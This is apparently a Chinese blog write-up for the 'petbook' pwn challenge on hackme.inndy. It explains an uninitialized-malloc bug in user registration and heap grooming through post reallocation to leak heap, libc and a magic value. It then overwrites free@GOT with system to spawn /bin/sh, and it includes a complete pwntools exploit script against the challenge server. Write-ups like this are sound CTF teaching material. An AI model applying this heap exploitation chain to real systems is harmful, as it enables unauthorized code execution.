本文最后更新于:星期三, 一月 2日 2019, 3:47 下午
防护机制:
[*] '/home/zs0zrc/pwn/Scoreboard/petbook/petbook'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
开启了NX和Canary还有 FORTIFY
FORTIFY是用来检测缓存区溢出的一个机制,感觉好像没什么用,详情参考这篇博客
逆出来的user结构体
struct user
{
int uid;
char name[0x100];
char pwd[0x100];
int flag;
char *petname;
char *post;
}users;
pet结构体
struct pet
{
int uid;
char *name;
char *type;
}pet; //大致长这样
程序的功能有:
- register 创建用户
- login 登陆
- post
- edit post
- change password
- adopt pet
- rename pet
- abandon pet
程序的漏洞在于 register创建用户时,malloc的堆块未初始化,导致可以控制新创建的users的petname和post指针,可以通过post泄露信息,通过pet来实现任意地址写
int __fastcall user_create(char *src, char *password)
{
users *user; // rbp
if ( user_find_by_name(src) )
return __printf_chk(1LL, "User %s existed!\n", src);
user = malloc(0x218uLL); //漏洞所在,没有初始化
user->uid = uid();
strncpy(user->name, src, 0x100uLL);
strncpy(user->password, password, 0x100uLL);
user->flag = 0;
link_insert(&userdb, user);
return puts("User created");
}
泄露信息:通过控制未初始化的user的pet指针,泄露信息
v4 = user->petname;
if ( v4 )
{
__printf_chk(1LL, "= Pet Name: %s\n", *(v4 + 1));
__printf_chk(1LL, "= Pet Type: %s\n", *(user->petname + 2));
}
任意地址写:
int pet_rename()
{
__int64 v0; // rbx
_DWORD *v1; // rdx
v0 = current_user;
if ( (*current_user ^ magic) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
v1 = *(current_user + 0x208);
if ( !v1 )
return puts("You don't have a pet");
if ( (*v1 ^ magic) & 0xFFFF0000 ) //这里要绕过这个检查,所以要将magic泄露出来
{
puts("corrupted object detected");
exit(1);
}
puts("Name your pet >>");
read_data(*(*(v0 + 0x208) + 8LL), 16LL);
return stripnl(*(*(v0 + 0x208) + 8LL));
}
利用思路:
先create一个用户,这个用户new一个大小大于0x218的post,然后编辑这个post,增加它的大小,
使它原本的chunk被realloc函数free掉,放入unsortedbins中。这时再create一个用户,那么这
个用户malloc申请的chunk就会从unsortedbin中的chunk切割下来,就可以控制这个用户的petname
和post指针
具体步骤:
- 先创建一个用户’aaaa’,new一个post1,大小为0x230,将petname指针设置为userdb地址 - 0x10,然后编辑post1,使post1原本的chunk被relloca函数free掉
- 新建一个用户’bbbb’,泄露出堆地址
- 新建两个post,post2大小为0x100,post3大小为0x230,在post2中写入要泄露的地址,在post3中设置petname指针为post2的地址,post2的地址通过泄露的堆地址计算出来。通过控制 post2的内容,就可以泄露出想要的信息。
- 新建用户’cccc’,泄露出 magic和libc地址
- new一个post4,将petname指针指向post2地址,然后编辑post4将原本的chunk free掉,新建一个用户’dddd’,用户’dddd’的petname指针就指向post2
- 伪造fake_magic,登陆用户’bbbb’,编辑post2内容为 p64(fake_magic)+p64(free_got)
- 登陆用户 ‘dddd’, 通过rename功能修改free_got为system函数
- 新建一个用户’ffff’, adopt一个pet ,name为’/bin/sh\x00’,再abandom掉就可调用system函数了
exp:
#!/usr/bin/env python
from pwn import *
local = 1
context.log_level = 'debug'
if local:
p = process('./petbook')
elf = ELF('./petbook')
libc = elf.libc
else:
host = 'hackme.inndy.tw'
port = '7710'
p = remote(host,port)
elf = ELF('./petbook')
libc = ELF('./libc-2.23.so.x86_64')
def register(name,password):
p.sendlineafter(" >>\n",'1')
p.sendlineafter("Username >>\n",name)
p.sendlineafter("Password >>\n",password)
def login(name,password):
p.sendlineafter(" >>\n",'2')
p.sendlineafter("Username >>\n",name)
p.sendlineafter("Password >>\n",password)
def logout():
p.sendlineafter(" >>\n",'0')
def post(title,size,content):
p.sendlineafter(" >>\n",'1')
p.sendlineafter("Title >>\n",title)
p.sendlineafter("Content Length >>\n",str(size))
p.sendlineafter("Content >>\n",content)
def edit_post(id,title,size,content):
p.sendlineafter(" >>\n",'3')
p.sendlineafter("Post id >>\n",str(id))
p.sendlineafter("New title >>\n",title)
p.sendlineafter("New content size >>\n",str(size))
p.sendlineafter("Content >>\n",content)
def adopt(name):
p.sendlineafter(" >>\n",'5')
p.sendlineafter("Name your pet >>\n",name)
def rename(name):
p.sendlineafter(" >>\n",'6')
p.sendlineafter("Name your pet >>\n",name)
def abandom():
p.sendlineafter(" >>\n",'7')
payload1= 'a'*0x208 + p64(0x603158-0x10)*4
register('aaaa','aaaa')
login('aaaa','aaaa')
post('1111',0x230,payload1) #post1
edit_post(2,'1111',0x240,'bbbb')
logout()
register('bbbb','bbbb')
login('bbbb','bbbb')
log.info("leak heap address")
p.recvuntil("Pet Type: ")
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
heap_base = leak_heap - 0x230
log.info("leak heap_base address :{}".format(hex(heap_base)))
fake_pet = heap_base + 0x940
magic = 0x603164
payload2 = 'a'*0x208 + p64(fake_pet)
post('2222',0x100,p64(elf.got["puts"])*4) #uid = 4 post2
post('3333',0x230,payload2) #uid = 5 post3
edit_post(5,'2222',0x240,'2222')
logout()
register('cccc','cccc')
login('cccc','cccc')
p.recvuntil("Pet Name: ")
leak_libc = u64(p.recvline().strip('\n').ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
libc.address = libc_base
system = libc.symbols['system']
log.info("libc address :{}".format(hex(libc_base)))
logout()
login('bbbb','bbbb')
edit_post(4,'3333',0x100,p64(magic)*4)
logout()
login('cccc','cccc')
p.recvuntil("Pet Name: ")
leak_magic = u64(p.recvline().strip('\n').ljust(8,'\x00'))
log.info("leak magic : {}".format(hex(leak_magic)))
log.info("hjack free_got")
fake_magic = leak_magic + 0x600000000
payload3 = p64(fake_magic) + p64(elf.got['free'])
payload4 = 'a'*0x208 + p64(fake_pet)
post('aaaa',0x230,payload4) #uid = 7 post4
edit_post(7,'1111',0x240,'aaaa')
logout()
register('dddd','dddd')
login('bbbb','bbbb')
edit_post(4,'1111',0x100,payload3)
logout()
login('dddd','dddd')
rename(p64(system))
logout()
register('ffff','ffff')
login('ffff','ffff')
adopt('/bin/sh\x00')
abandom()
p.interactive()
hackme.inndy_writeup writeup pwn
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!